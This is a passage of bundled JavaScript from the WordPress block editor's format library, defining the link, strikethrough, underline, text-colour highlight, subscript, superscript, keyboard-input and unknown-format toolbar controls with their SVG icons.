864 isActive
865 }
866 });
867 async function handleCreate(pageTitle) {
868 const page = await createPageEntity({
869 title: pageTitle,
870 status: "draft"
871 });
872 return {
873 id: page.id,
874 type: page.type,
875 title: page.title.rendered,
876 url: page.link,
877 kind: "post-type"
878 };
879 }
880 function createButtonText(searchTerm) {
881 return (0,external_wp_element_namespaceObject.createInterpolateElement)(
882 (0,external_wp_i18n_namespaceObject.sprintf)(
883 /* translators: %s: search term. */
884 (0,external_wp_i18n_namespaceObject.__)("Create page: <mark>%s</mark>"),
885 searchTerm
886 ),
887 { mark: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("mark", {}) }
888 );
889 }
890 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
891 external_wp_components_namespaceObject.Popover,
892 {
893 anchor: popoverAnchor,
894 animate: false,
895 onClose: stopAddingLink,
896 onFocusOutside,
897 placement: "bottom",
898 offset: 8,
899 shift: true,
900 focusOnMount,
901 constrainTabbing: true,
902 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
903 external_wp_blockEditor_namespaceObject.LinkControl,
904 {
905 value: linkValue,
906 onChange: onChangeLink,
907 onRemove: removeLink,
908 hasRichPreviews: true,
909 createSuggestion: createPageEntity && handleCreate,
910 withCreateSuggestion: userCanCreatePages,
911 createSuggestionButtonText: createButtonText,
912 hasTextControl: true,
913 settings: LINK_SETTINGS,
914 showInitialSuggestions: true,
915 suggestionsQuery: {
916 // always show Pages as initial suggestions
917 initialSuggestionsSearchOptions: {
918 type: "post",
919 subtype: "page",
920 perPage: 20
921 }
922 }
923 }
924 )
925 }
926 );
927}
928function getRichTextValueFromSelection(value, isActive) {
929 let textStart = value.start;
930 let textEnd = value.end;
931 if (isActive) {
932 const boundary = getFormatBoundary(value, {
933 type: "core/link"
934 });
935 textStart = boundary.start;
936 textEnd = boundary.end + 1;
937 }
938 return (0,external_wp_richText_namespaceObject.slice)(value, textStart, textEnd);
939}
940var inline_default = InlineLinkUI;
941
942
943;// ./node_modules/@wordpress/format-library/build-module/link/index.js
944
945
946
947
948
949
950
951
952
953
954
955const link_name = "core/link";
956const link_title = (0,external_wp_i18n_namespaceObject.__)("Link");
957function link_Edit({
958 isActive,
959 activeAttributes,
960 value,
961 onChange,
962 onFocus,
963 contentRef
964}) {
965 const [addingLink, setAddingLink] = (0,external_wp_element_namespaceObject.useState)(false);
966 const [openedBy, setOpenedBy] = (0,external_wp_element_namespaceObject.useState)(null);
967 (0,external_wp_element_namespaceObject.useEffect)(() => {
968 if (!isActive) {
969 setAddingLink(false);
970 }
971 }, [isActive]);
972 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
973 const editableContentElement = contentRef.current;
974 if (!editableContentElement) {
975 return;
976 }
977 function handleClick(event) {
978 const link2 = event.target.closest("[contenteditable] a");
979 if (!link2 || // other formats (e.g. bold) may be nested within the link.
980 !isActive) {
981 return;
982 }
983 setAddingLink(true);
984 setOpenedBy({
985 el: link2,
986 action: "click"
987 });
988 }
989 editableContentElement.addEventListener("click", handleClick);
990 return () => {
991 editableContentElement.removeEventListener("click", handleClick);
992 };
993 }, [contentRef, isActive]);
994 function addLink(target) {
995 const text = (0,external_wp_richText_namespaceObject.getTextContent)((0,external_wp_richText_namespaceObject.slice)(value));
996 if (!isActive && text && (0,external_wp_url_namespaceObject.isURL)(text) && isValidHref(text)) {
997 onChange(
998 (0,external_wp_richText_namespaceObject.applyFormat)(value, {
999 type: link_name,
1000 attributes: { url: text }
1001 })
1002 );
1003 } else if (!isActive && text && (0,external_wp_url_namespaceObject.isEmail)(text)) {
1004 onChange(
1005 (0,external_wp_richText_namespaceObject.applyFormat)(value, {
1006 type: link_name,
1007 attributes: { url: `mailto:${text}` }
1008 })
1009 );
1010 } else if (!isActive && text && (0,external_wp_url_namespaceObject.isPhoneNumber)(text)) {
1011 onChange(
1012 (0,external_wp_richText_namespaceObject.applyFormat)(value, {
1013 type: link_name,
1014 attributes: { url: `tel:${text.replace(/\D/g, "")}` }
1015 })
1016 );
1017 } else {
1018 if (target) {
1019 setOpenedBy({
1020 el: target,
1021 action: null
1022 // We don't need to distinguish between click or keyboard here
1023 });
1024 }
1025 setAddingLink(true);
1026 }
1027 }
1028 function stopAddingLink() {
1029 setAddingLink(false);
1030 if (openedBy?.el?.tagName === "BUTTON") {
1031 openedBy.el.focus();
1032 } else {
1033 onFocus();
1034 }
1035 setOpenedBy(null);
1036 }
1037 function onFocusOutside() {
1038 setAddingLink(false);
1039 setOpenedBy(null);
1040 }
1041 function onRemoveFormat() {
1042 onChange((0,external_wp_richText_namespaceObject.removeFormat)(value, link_name));
1043 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Link removed."), "assertive");
1044 }
1045 const shouldAutoFocus = !(openedBy?.el?.tagName === "A" && openedBy?.action === "click");
1046 const hasSelection = !(0,external_wp_richText_namespaceObject.isCollapsed)(value);
1047 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1048 hasSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1049 external_wp_blockEditor_namespaceObject.RichTextShortcut,
1050 {
1051 type: "primary",
1052 character: "k",
1053 onUse: addLink
1054 }
1055 ),
1056 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1057 external_wp_blockEditor_namespaceObject.RichTextShortcut,
1058 {
1059 type: "primaryShift",
1060 character: "k",
1061 onUse: onRemoveFormat
1062 }
1063 ),
1064 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1065 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1066 {
1067 name: "link",
1068 icon: link_default,
1069 title: isActive ? (0,external_wp_i18n_namespaceObject.__)("Link") : link_title,
1070 onClick: (event) => {
1071 addLink(event.currentTarget);
1072 },
1073 isActive: isActive || addingLink,
1074 shortcutType: "primary",
1075 shortcutCharacter: "k",
1076 "aria-haspopup": "true",
1077 "aria-expanded": addingLink
1078 }
1079 ),
1080 addingLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1081 inline_default,
1082 {
1083 stopAddingLink,
1084 onFocusOutside,
1085 isActive,
1086 activeAttributes,
1087 value,
1088 onChange,
1089 contentRef,
1090 focusOnMount: shouldAutoFocus ? "firstElement" : false
1091 }
1092 )
1093 ] });
1094}
1095const link_link = {
1096 name: link_name,
1097 title: link_title,
1098 tagName: "a",
1099 className: null,
1100 attributes: {
1101 url: "href",
1102 type: "data-type",
1103 id: "data-id",
1104 _id: "id",
1105 target: "target",
1106 rel: "rel",
1107 class: "class"
1108 },
1109 __unstablePasteRule(value, { html, plainText }) {
1110 const pastedText = (html || plainText).replace(/<[^>]+>/g, "").trim();
1111 if (!(0,external_wp_url_namespaceObject.isURL)(pastedText) || !/^https?:/.test(pastedText)) {
1112 return value;
1113 }
1114 window.console.log("Created link:\n\n", pastedText);
1115 const format = {
1116 type: link_name,
1117 attributes: {
1118 url: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(pastedText)
1119 }
1120 };
1121 if ((0,external_wp_richText_namespaceObject.isCollapsed)(value)) {
1122 return (0,external_wp_richText_namespaceObject.insert)(
1123 value,
1124 (0,external_wp_richText_namespaceObject.applyFormat)(
1125 (0,external_wp_richText_namespaceObject.create)({ text: plainText }),
1126 format,
1127 0,
1128 plainText.length
1129 )
1130 );
1131 }
1132 return (0,external_wp_richText_namespaceObject.applyFormat)(value, format);
1133 },
1134 edit: link_Edit
1135};
1136
1137
1138;// ./node_modules/@wordpress/icons/build-module/library/format-strikethrough.js
1139
1140
1141var format_strikethrough_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9.1 9v-.5c0-.6.2-1.1.7-1.4.5-.3 1.2-.5 2-.5.7 0 1.4.1 2.1.3.7.2 1.4.5 2.1.9l.2-1.9c-.6-.3-1.2-.5-1.9-.7-.8-.1-1.6-.2-2.4-.2-1.5 0-2.7.3-3.6 1-.8.7-1.2 1.5-1.2 2.6V9h2zM20 12H4v1h8.3c.3.1.6.2.8.3.5.2.9.5 1.1.8.3.3.4.7.4 1.2 0 .7-.2 1.1-.8 1.5-.5.3-1.2.5-2.1.5-.8 0-1.6-.1-2.4-.3-.8-.2-1.5-.5-2.2-.8L7 18.1c.5.2 1.2.4 2 .6.8.2 1.6.3 2.4.3 1.7 0 3-.3 3.9-1 .9-.7 1.3-1.6 1.3-2.8 0-.9-.2-1.7-.7-2.2H20v-1z" }) });
1142
1143
1144;// ./node_modules/@wordpress/format-library/build-module/strikethrough/index.js
1145
1146
1147
1148
1149
1150const strikethrough_name = "core/strikethrough";
1151const strikethrough_title = (0,external_wp_i18n_namespaceObject.__)("Strikethrough");
1152const strikethrough = {
1153 name: strikethrough_name,
1154 title: strikethrough_title,
1155 tagName: "s",
1156 className: null,
1157 edit({ isActive, value, onChange, onFocus }) {
1158 function onClick() {
1159 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: strikethrough_name, title: strikethrough_title }));
1160 onFocus();
1161 }
1162 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1163 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1164 external_wp_blockEditor_namespaceObject.RichTextShortcut,
1165 {
1166 type: "access",
1167 character: "d",
1168 onUse: onClick
1169 }
1170 ),
1171 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1172 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1173 {
1174 icon: format_strikethrough_default,
1175 title: strikethrough_title,
1176 onClick,
1177 isActive,
1178 role: "menuitemcheckbox"
1179 }
1180 )
1181 ] });
1182 }
1183};
1184
1185
1186;// ./node_modules/@wordpress/format-library/build-module/underline/index.js
1187
1188
1189
1190
1191const underline_name = "core/underline";
1192const underline_title = (0,external_wp_i18n_namespaceObject.__)("Underline");
1193const underline = {
1194 name: underline_name,
1195 title: underline_title,
1196 tagName: "span",
1197 className: null,
1198 attributes: {
1199 style: "style"
1200 },
1201 edit({ value, onChange }) {
1202 const onToggle = () => {
1203 onChange(
1204 (0,external_wp_richText_namespaceObject.toggleFormat)(value, {
1205 type: underline_name,
1206 attributes: {
1207 style: "text-decoration: underline;"
1208 },
1209 title: underline_title
1210 })
1211 );
1212 };
1213 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1214 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1215 external_wp_blockEditor_namespaceObject.RichTextShortcut,
1216 {
1217 type: "primary",
1218 character: "u",
1219 onUse: onToggle
1220 }
1221 ),
1222 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1223 external_wp_blockEditor_namespaceObject.__unstableRichTextInputEvent,
1224 {
1225 inputType: "formatUnderline",
1226 onInput: onToggle
1227 }
1228 )
1229 ] });
1230 }
1231};
1232
1233
1234;// ./node_modules/@wordpress/icons/build-module/icon/index.js
1235
1236var icon_default = (0,external_wp_element_namespaceObject.forwardRef)(
1237 ({ icon, size = 24, ...props }, ref) => {
1238 return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
1239 width: size,
1240 height: size,
1241 ...props,
1242 ref
1243 });
1244 }
1245);
1246
1247
1248;// ./node_modules/@wordpress/icons/build-module/library/text-color.js
1249
1250
1251var text_color_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.9 6h-2l-4 11h1.9l1.1-3h4.2l1.1 3h1.9L12.9 6zm-2.5 6.5l1.5-4.9 1.7 4.9h-3.2z" }) });
1252
1253
1254;// ./node_modules/@wordpress/icons/build-module/library/color.js
1255
1256
1257var color_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z" }) });
1258
1259
1260;// external ["wp","privateApis"]
1261const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
1262;// ./node_modules/@wordpress/format-library/build-module/lock-unlock.js
1263
1264const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
1265 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
1266 "@wordpress/format-library"
1267);
1268
1269
1270;// ./node_modules/@wordpress/format-library/build-module/text-color/inline.js
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280const { Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
1281const TABS = [
1282 { name: "color", title: (0,external_wp_i18n_namespaceObject.__)("Text") },
1283 { name: "backgroundColor", title: (0,external_wp_i18n_namespaceObject.__)("Background") }
1284];
1285function parseCSS(css = "") {
1286 return css.split(";").reduce((accumulator, rule) => {
1287 if (rule) {
1288 const [property, value] = rule.split(":");
1289 if (property === "color") {
1290 accumulator.color = value;
1291 }
1292 if (property === "background-color" && value !== transparentValue) {
1293 accumulator.backgroundColor = value;
1294 }
1295 }
1296 return accumulator;
1297 }, {});
1298}
1299function parseClassName(className = "", colorSettings) {
1300 return className.split(" ").reduce((accumulator, name) => {
1301 if (name.startsWith("has-") && name.endsWith("-color")) {
1302 const colorSlug = name.replace(/^has-/, "").replace(/-color$/, "");
1303 const colorObject = (0,external_wp_blockEditor_namespaceObject.getColorObjectByAttributeValues)(
1304 colorSettings,
1305 colorSlug
1306 );
1307 accumulator.color = colorObject.color;
1308 }
1309 return accumulator;
1310 }, {});
1311}
1312function getActiveColors(value, name, colorSettings) {
1313 const activeColorFormat = (0,external_wp_richText_namespaceObject.getActiveFormat)(value, name);
1314 if (!activeColorFormat) {
1315 return {};
1316 }
1317 return {
1318 ...parseCSS(activeColorFormat.attributes.style),
1319 ...parseClassName(activeColorFormat.attributes.class, colorSettings)
1320 };
1321}
1322function setColors(value, name, colorSettings, colors) {
1323 const { color, backgroundColor } = {
1324 ...getActiveColors(value, name, colorSettings),
1325 ...colors
1326 };
1327 if (!color && !backgroundColor) {
1328 return (0,external_wp_richText_namespaceObject.removeFormat)(value, name);
1329 }
1330 const styles = [];
1331 const classNames = [];
1332 const attributes = {};
1333 if (backgroundColor) {
1334 styles.push(["background-color", backgroundColor].join(":"));
1335 } else {
1336 styles.push(["background-color", transparentValue].join(":"));
1337 }
1338 if (color) {
1339 const colorObject = (0,external_wp_blockEditor_namespaceObject.getColorObjectByColorValue)(colorSettings, color);
1340 if (colorObject) {
1341 classNames.push((0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", colorObject.slug));
1342 } else {
1343 styles.push(["color", color].join(":"));
1344 }
1345 }
1346 if (styles.length) {
1347 attributes.style = styles.join(";");
1348 }
1349 if (classNames.length) {
1350 attributes.class = classNames.join(" ");
1351 }
1352 return (0,external_wp_richText_namespaceObject.applyFormat)(value, { type: name, attributes });
1353}
1354function ColorPicker({ name, property, value, onChange }) {
1355 const colors = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1356 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
1357 return getSettings().colors ?? [];
1358 }, []);
1359 const activeColors = (0,external_wp_element_namespaceObject.useMemo)(
1360 () => getActiveColors(value, name, colors),
1361 [name, value, colors]
1362 );
1363 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1364 external_wp_blockEditor_namespaceObject.ColorPalette,
1365 {
1366 value: activeColors[property],
1367 onChange: (color) => {
1368 onChange(
1369 setColors(value, name, colors, { [property]: color })
1370 );
1371 },
1372 enableAlpha: true,
1373 __experimentalIsRenderedInSidebar: true
1374 }
1375 );
1376}
1377function InlineColorUI({
1378 name,
1379 value,
1380 onChange,
1381 onClose,
1382 contentRef,
1383 isActive
1384}) {
1385 const popoverAnchor = (0,external_wp_richText_namespaceObject.useAnchor)({
1386 editableContentElement: contentRef.current,
1387 settings: { ...textColor, isActive }
1388 });
1389 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1390 external_wp_components_namespaceObject.Popover,
1391 {
1392 onClose,
1393 className: "format-library__inline-color-popover",
1394 anchor: popoverAnchor,
1395 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs, { children: [
1396 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabList, { children: TABS.map((tab) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: tab.name, children: tab.title }, tab.name)) }),
1397 TABS.map((tab) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1398 Tabs.TabPanel,
1399 {
1400 tabId: tab.name,
1401 focusable: false,
1402 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1403 ColorPicker,
1404 {
1405 name,
1406 property: tab.name,
1407 value,
1408 onChange
1409 }
1410 )
1411 },
1412 tab.name
1413 ))
1414 ] })
1415 }
1416 );
1417}
1418
1419
1420;// ./node_modules/@wordpress/format-library/build-module/text-color/index.js
1421
1422
1423
1424
1425
1426
1427
1428const transparentValue = "rgba(0, 0, 0, 0)";
1429const text_color_name = "core/text-color";
1430const text_color_title = (0,external_wp_i18n_namespaceObject.__)("Highlight");
1431const EMPTY_ARRAY = [];
1432function getComputedStyleProperty(element, property) {
1433 const { ownerDocument } = element;
1434 const { defaultView } = ownerDocument;
1435 const style = defaultView.getComputedStyle(element);
1436 const value = style.getPropertyValue(property);
1437 if (property === "background-color" && value === transparentValue && element.parentElement) {
1438 return getComputedStyleProperty(element.parentElement, property);
1439 }
1440 return value;
1441}
1442function fillComputedColors(element, { color, backgroundColor }) {
1443 if (!color && !backgroundColor) {
1444 return;
1445 }
1446 return {
1447 color: color || getComputedStyleProperty(element, "color"),
1448 backgroundColor: backgroundColor === transparentValue ? getComputedStyleProperty(element, "background-color") : backgroundColor
1449 };
1450}
1451function TextColorEdit({
1452 value,
1453 onChange,
1454 isActive,
1455 activeAttributes,
1456 contentRef
1457}) {
1458 const [allowCustomControl, colors = EMPTY_ARRAY] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
1459 "color.custom",
1460 "color.palette"
1461 );
1462 const [isAddingColor, setIsAddingColor] = (0,external_wp_element_namespaceObject.useState)(false);
1463 const colorIndicatorStyle = (0,external_wp_element_namespaceObject.useMemo)(
1464 () => fillComputedColors(
1465 contentRef.current,
1466 getActiveColors(value, text_color_name, colors)
1467 ),
1468 [contentRef, value, colors]
1469 );
1470 const hasColorsToChoose = !!colors.length || allowCustomControl;
1471 if (!hasColorsToChoose && !isActive) {
1472 return null;
1473 }
1474 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1475 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1476 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1477 {
1478 className: "format-library-text-color-button",
1479 isActive,
1480 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1481 icon_default,
1482 {
1483 icon: Object.keys(activeAttributes).length ? text_color_default : color_default,
1484 style: colorIndicatorStyle
1485 }
1486 ),
1487 title: text_color_title,
1488 onClick: hasColorsToChoose ? () => setIsAddingColor(true) : () => onChange((0,external_wp_richText_namespaceObject.removeFormat)(value, text_color_name)),
1489 role: "menuitemcheckbox"
1490 }
1491 ),
1492 isAddingColor && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1493 InlineColorUI,
1494 {
1495 name: text_color_name,
1496 onClose: () => setIsAddingColor(false),
1497 activeAttributes,
1498 value,
1499 onChange,
1500 contentRef,
1501 isActive
1502 }
1503 )
1504 ] });
1505}
1506const textColor = {
1507 name: text_color_name,
1508 title: text_color_title,
1509 tagName: "mark",
1510 className: "has-inline-color",
1511 attributes: {
1512 style: "style",
1513 class: "class"
1514 },
1515 edit: TextColorEdit
1516};
1517
1518
1519;// ./node_modules/@wordpress/icons/build-module/library/subscript.js
1520
1521
1522var subscript_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.9 18.3l.8-1.2c.4-.6.7-1.2.9-1.6.2-.4.3-.8.3-1.2 0-.3-.1-.7-.2-1-.1-.3-.4-.5-.6-.7-.3-.2-.6-.3-1-.3s-.8.1-1.1.2c-.3.1-.7.3-1 .6l.2 1.3c.3-.3.5-.5.8-.6s.6-.2.9-.2c.3 0 .5.1.7.2.2.2.2.4.2.7 0 .3-.1.5-.2.8-.1.3-.4.7-.8 1.3L15 19.4h4.3v-1.2h-2.4zM14.1 7.2h-2L9.5 11 6.9 7.2h-2l3.6 5.3L4.7 18h2l2.7-4 2.7 4h2l-3.8-5.5 3.8-5.3z" }) });
1523
1524
1525;// ./node_modules/@wordpress/format-library/build-module/subscript/index.js
1526
1527
1528
1529
1530
1531const subscript_name = "core/subscript";
1532const subscript_title = (0,external_wp_i18n_namespaceObject.__)("Subscript");
1533const subscript = {
1534 name: subscript_name,
1535 title: subscript_title,
1536 tagName: "sub",
1537 className: null,
1538 edit({ isActive, value, onChange, onFocus }) {
1539 function onToggle() {
1540 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: subscript_name, title: subscript_title }));
1541 }
1542 function onClick() {
1543 onToggle();
1544 onFocus();
1545 }
1546 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1547 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1548 {
1549 icon: subscript_default,
1550 title: subscript_title,
1551 onClick,
1552 isActive,
1553 role: "menuitemcheckbox"
1554 }
1555 );
1556 }
1557};
1558
1559
1560;// ./node_modules/@wordpress/icons/build-module/library/superscript.js
1561
1562
1563var superscript_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.9 10.3l.8-1.3c.4-.6.7-1.2.9-1.6.2-.4.3-.8.3-1.2 0-.3-.1-.7-.2-1-.2-.2-.4-.4-.7-.6-.3-.2-.6-.3-1-.3s-.8.1-1.1.2c-.3.1-.7.3-1 .6l.1 1.3c.3-.3.5-.5.8-.6s.6-.2.9-.2c.3 0 .5.1.7.2.2.2.2.4.2.7 0 .3-.1.5-.2.8-.1.3-.4.7-.8 1.3l-1.8 2.8h4.3v-1.2h-2.2zm-2.8-3.1h-2L9.5 11 6.9 7.2h-2l3.6 5.3L4.7 18h2l2.7-4 2.7 4h2l-3.8-5.5 3.8-5.3z" }) });
1564
1565
1566;// ./node_modules/@wordpress/format-library/build-module/superscript/index.js
1567
1568
1569
1570
1571
1572const superscript_name = "core/superscript";
1573const superscript_title = (0,external_wp_i18n_namespaceObject.__)("Superscript");
1574const superscript = {
1575 name: superscript_name,
1576 title: superscript_title,
1577 tagName: "sup",
1578 className: null,
1579 edit({ isActive, value, onChange, onFocus }) {
1580 function onToggle() {
1581 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: superscript_name, title: superscript_title }));
1582 }
1583 function onClick() {
1584 onToggle();
1585 onFocus();
1586 }
1587 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1588 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1589 {
1590 icon: superscript_default,
1591 title: superscript_title,
1592 onClick,
1593 isActive,
1594 role: "menuitemcheckbox"
1595 }
1596 );
1597 }
1598};
1599
1600
1601;// ./node_modules/@wordpress/icons/build-module/library/button.js
1602
1603
1604var button_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M8 12.5h8V11H8v1.5Z M19 6.5H5a2 2 0 0 0-2 2V15a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V8.5a2 2 0 0 0-2-2ZM5 8h14a.5.5 0 0 1 .5.5V15a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V8.5A.5.5 0 0 1 5 8Z" }) });
1605
1606
1607;// ./node_modules/@wordpress/format-library/build-module/keyboard/index.js
1608
1609
1610
1611
1612
1613const keyboard_name = "core/keyboard";
1614const keyboard_title = (0,external_wp_i18n_namespaceObject.__)("Keyboard input");
1615const keyboard = {
1616 name: keyboard_name,
1617 title: keyboard_title,
1618 tagName: "kbd",
1619 className: null,
1620 edit({ isActive, value, onChange, onFocus }) {
1621 function onToggle() {
1622 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: keyboard_name, title: keyboard_title }));
1623 }
1624 function onClick() {
1625 onToggle();
1626 onFocus();
1627 }
1628 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1629 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1630 {
1631 icon: button_default,
1632 title: keyboard_title,
1633 onClick,
1634 isActive,
1635 role: "menuitemcheckbox"
1636 }
1637 );
1638 }
1639};
1640
1641
1642;// ./node_modules/@wordpress/icons/build-module/library/help.js
1643
1644
1645var help_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4a8 8 0 1 1 .001 16.001A8 8 0 0 1 12 4Zm0 1.5a6.5 6.5 0 1 0-.001 13.001A6.5 6.5 0 0 0 12 5.5Zm.75 11h-1.5V15h1.5v1.5Zm-.445-9.234a3 3 0 0 1 .445 5.89V14h-1.5v-1.25c0-.57.452-.958.917-1.01A1.5 1.5 0 0 0 12 8.75a1.5 1.5 0 0 0-1.5 1.5H9a3 3 0 0 1 3.305-2.984Z" }) });
1646
1647
1648;// ./node_modules/@wordpress/format-library/build-module/unknown/index.js
1649
1650
1651
1652
1653
1654const unknown_name = "core/unknown";
1655const unknown_title = (0,external_wp_i18n_namespaceObject.__)("Clear Unknown Formatting");
1656function selectionContainsUnknownFormats(value) {
1657 if ((0,external_wp_richText_namespaceObject.isCollapsed)(value)) {
1658 return false;
1659 }
1660 const selectedValue = (0,external_wp_richText_namespaceObject.slice)(value);
1661 return selectedValue.formats.some((formats) => {
1662 return formats.some((format) => format.type === unknown_name);
1663 });
1664}
1665const unknown = {
1666 name: unknown_name,
1667 title: unknown_title,
1668 tagName: "*",
1669 className: null,
1670 edit({ isActive, value, onChange, onFocus }) {
1671 if (!isActive && !selectionContainsUnknownFormats(value)) {
1672 return null;
1673 }
1674 function onClick() {
1675 onChange((0,external_wp_richText_namespaceObject.removeFormat)(value, unknown_name));
1676 onFocus();
1677 }
1678 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1679 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1680 {
1681 name: "unknown",
1682 icon: help_default,
1683 title: unknown_title,
1684 onClick,
1685 isActive: true
1686 }
1687 );
1688 }
1689};
1690
1691
1692;// ./node_modules/@wordpress/icons/build-module/library/language.js
1693
1694
